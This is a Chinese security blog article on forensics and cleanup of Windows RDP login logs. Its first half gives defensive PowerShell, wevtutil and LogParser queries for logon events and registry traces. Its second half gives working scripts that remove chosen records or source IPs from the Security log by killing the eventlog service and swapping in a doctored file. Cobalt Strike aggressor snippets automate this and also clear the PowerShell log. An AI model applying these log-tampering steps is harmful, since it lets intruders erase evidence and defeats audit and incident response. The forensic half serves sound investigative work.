RDP登陆日志取证和清除

点击上方“蓝字”关注公众号获取最新信息!php

本文做者:whoam1@奇安信html

首发地址:https://paper.seebug.org/1043nginx


这篇文章由Cream朋友whoam1@奇安信受权发布,在此表示感谢,关于其余方面的文章或者技术能够浏览whoam1的博客!后期咱们也会持续更新WEB安全系列课程(从小白到“入狱”),0.0,但愿多多关注支持。公众号能够搜索:贝塔安全实验室,谢谢,Cream献上!git



目录:

一:取证github

  • 1.1 登陆成功web

  • 1.1.1 Security 线上分析sql

  • 1.1.2 Security 离线分析shell

  • 1.1.3 TerminalServices/Operationalwindows

  • 1.2 登陆失败浏览器

  • 1.3 客户端主机名

  • 1.4 远程server

  • 1.5 日志量最大限制

  • 1.6 RDP开放端口

  • 1.7 挂载驱动器监控

二:清除

  • 2.1 EventRecordID单条删除

  • 2.2 IpAddress批量删除

  • 2.3 powershell示例

三:脚本化

  • 3.1 取证示例

  • 3.2 清除示例

参考



本文以server08为例,示例脚本以powershell为主
适用人群: 运维、安全


RDP登陆方式:

  • 爆破登陆:屡次登陆失败&登陆成功

  • 管理员登陆:帐户密码、凭据

  • console模式登陆


使用工具:

  • wevtutil

  • LogParser

  • powershell

  • regedit



一: 取证
取证关键点:
  • 登陆IP

  • 登陆ip端口

  • 登陆时间

  • 登陆客户端主机名

  • 登陆后操做日志

  • 服务端敏感文件

  • 服务端登陆的服务器ip

  • 服务端浏览器记录


1.1 登陆成功

EventID=4624,从安全日志中获取登陆成功的客户端登陆ip、登陆源端口、登陆时间等信息


1.1.1 Security 线上分析

  • LogParser

LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8'|'as LogonType, EXTRACT_TOKEN(Strings, 18'|'AS SourceIP, EXTRACT_TOKEN(Strings, 19'|'AS Sport INTO RdpLoginSuccess.csv FROM Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil
wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and EventData[(Data[@Name='LogonType']='10')]]"
  • wevtutil + powershell

wevtutil epl Security ./Sec.evtx
function WinSuccEvent
{
    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"\Sec.evtx"
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"
    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe  $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']  and (EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    function OneEventToDict {
        Param (
            $event
        )
        $ret = @{
            "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
            "EventRecordID" = $event.System.EventRecordID
            "EventID" = $event.System.EventID
        }
        $data=$event.EventData.Data
        for ($i=0; $i -lt $data.Count; $i++){
            $ret.Add($data[$i].name, $data[$i].'#text')
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        $results.Add((New-Object PSObject -Property $datas))|out-null
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
        $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventID,LogonType,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }
}


1.1.2 Security 离线分析

导出安全日志为:Security.evtx

  • LogParser
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8'|'as LogonType, EXTRACT_TOKEN(Strings, 18'|'AS SourceIP ,EXTRACT_TOKEN(Strings, 19'|'AS Sport INTO RdpLoginSuccess.csv FROM Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil

wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]"  /e:root /f:xml


1.1.3 TerminalServices/Operational

  • RemoteConnectionManager - EventID=1149

wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational "/q:*[TerminalServices-LocalSessionManager[(EventID=1149)]]" /f:text /rd:true /c:1

过滤id:1149且仅显示存在Param2数据

  
    
  
  
   
   
            
   
   
wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational ./TerminalServices.evtx
function TerminalServices {

    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"./TerminalServices.evtx"   
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"

    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-TerminalServices-RemoteConnectionManager'] and (EventID=1149)]]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    write-host $xmlEvent.Count

    function OneEventToDict {
        Param (
            $event
        )
        Try {
            $CheckLoginStatus = $event.UserData.EventXML.Param2
            if ($CheckLoginStatus) {
                $ret = @{
                    "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
                    "EventRecordID" = $event.System.EventRecordID
                    "EventID" = $event.System.EventID
                    "Param1" = $event.UserData.EventXML.Param1
                    "Param2" = $event.UserData.EventXML.Param2
                    "Param3" = $event.UserData.EventXML.Param3
                }
            }
        }
        Catch {
            continue
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        try {
            $results.Add((New-Object PSObject -Property $datas))|out-null
        }
        catch {
            continue
        }
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... #-ForegroundColor Green
        $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }

}

同理:

  • LocalSessionManager - EventID:24/25
wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ./LocalSessionManager.evtx
  • ClientActiveXCore - EventID:1024

wevtutil epl Microsoft-Windows-TerminalServices-RDPClient/Operational ./ClientActiveXCore.evtx


1.2 登陆失败

EventID=4625,分析语句同理登陆成功


1.3 客户端主机名

注册表HKEY_USERS\SID\Volatile Environment\X.CLIENTNAME

powershell实现代码以下:

function ClientHostName {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Volatile Environment\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $ClientHostName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CLIENTNAME
                Write-Host "
[+] RegPath: "$RegPath$Server
                Write-Host "
[+] ClientHostName: "$ClientHostName
            }   
        }
        Catch {
            continue
        }
    }
}


1.4 远程server

注册表HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers\*

其中,保存凭据的单独显示

powershell实现代码以下:
function RdpServer {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Servers\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $UserName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).UsernameHint
                Write-Host "
[+] Server: "$Server" UserName: "$UserName
                $CertHash = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CertHash
                if($CertHash) {
                    Write-Host "
[+] Server: "$Server" UserName: "$UserName" CertHash: "$CertHash 
                }
            }
        }
        Catch {
            continue
        }
        $RegPathDefault = "
Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Default\"
        Try {
            $RegPathValues = Get-Item -Path $RegPathDefault -ErrorAction Stop
            foreach ($RegPathValue in $RegPathValues.Property ){
                write-host "
[+] Server:port > "$RegPathValues.GetValue($RegPathValue)
            }
        }
        Catch {
            continue
        }
    }
}


1.5 日志量最大限制

注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security
function ChangeSecurityMaxSize {
    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
    $SecurityRegValue = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "Old Size: "+$SecurityRegValue
    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'MaxSize' -value '209715200'
    $SecurityRegValueCheck = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "New Size: "+$SecurityRegValueCheck+'(200M)'
}


1.6 RDP开放端口

查询注册表
    $RegPath = "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
    $RDPportValue = (Get-ItemProperty -Path $RegPath -ErrorAction Stop).PortNumber
    write-host $RDPportValue


1.7 挂载驱动器监控

参考github:DarkGuardian:https://github.com/FunnyWolf/DarkGuardian


二:清除

如下两种方式根据修改注册表实现

以powershell为例:

须要修改注册表
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value C:\Windows\System32\winevt\Logs\Security_new.evtx
tasklist /svc | findstr "eventlog"
taskkill /F /PID 279
net start eventlog


2.1 EventRecordID单条删除

单条日志清除

wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[System[(EventRecordID!=6810)]]" /ow:true


2.2 IpAddress批量删除

源ip清除

wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true


2.3 powershell示例

    [CmdletBinding()]
    Param (
        [string]$flagvalue,
        [string]$evtx = $pwd.Path
    )

    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"

    $SecurityFileRegValueFileName = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).File
    $SecurityFileRegValueNew = $SecurityFileRegValueFileName.Replace("Security","Security_bak")
    $SecurityFileRegValueNewFlag = $SecurityFileRegValueFileName.Replace("Security","NewSecFlag")

    write-host $SecurityFileRegValueFileName

    # clear
    Try{
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[System[(EventRecordID!="$flagvalue")]]" /ow:true
    }
    Catch {}

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueNewFlag

    $EventlogSvchost = tasklist /svc | findstr "eventlog" 
    $EventlogMatch = $EventlogSvchost -match "(\d+)"
    $EventlogSvchostPID = $Matches[0]

    # Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

    write-host $EventlogSvchostPID

    taskkill /F /PID $EventlogSvchostPID

    Try{
        Remove-Item $SecurityFileRegValueFileName -recurse
    }
    Catch {}
    Try{
        Remove-Item $SecurityFileRegValueNewFlag -recurse
    }
    Catch {}

    ren $SecurityFileRegValueNew $SecurityFileRegValueFileName

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueFileName

    net start eventlog

同理批量删除以下:

    # clear
    Try {
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[EventData[(Data[@Name='IpAddress']!='')]]" /ow:true
    }
    Catch {}


三:脚本化

结合Cobalt Strike可实现自动化,具体可参考cna脚本编写:https://www.cobaltstrike.com/aggressor-script/index.html


3.1 取证示例

     item "RdpSuccessEvent" {
          local('$bid');
          foreach $bid ($1){
              blog($1, "Get RDP Success Event (4624).");
              bpowershell($bid,"wevtutil epl Security ./Sec.evtx");
              bpowershell_import($bid, script_resource("./powershell/WinSuccEvent.ps1"));
              bpowerpick($bid,"WinSuccEvent");
              #bpowershell($bid,"WinSuccEvent");
              brm($1,"Sec.evtx");
              bpowershell($bid,"wevtutil cl \"Windows PowerShell\"");
          }
     }


3.2 清除示例

     item "IDEventClear" {
          prompt_text("Input Clear EventRecordID","1024",lambda({
              blog(@ids,"Delete Security Event where EventRecordID = $1");
              bpowershell_import(@ids, script_resource("./powershell/IDEventClear.ps1"));
              bpowerpick(@ids,"IDEventClear $1");
              bpowershell(@ids,"wevtutil cl \"Windows PowerShell\"");
          },@ids => $1));
     }


四:参考


本文分享自微信公众号 - 贝塔安全实验室(BetaSecLab)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索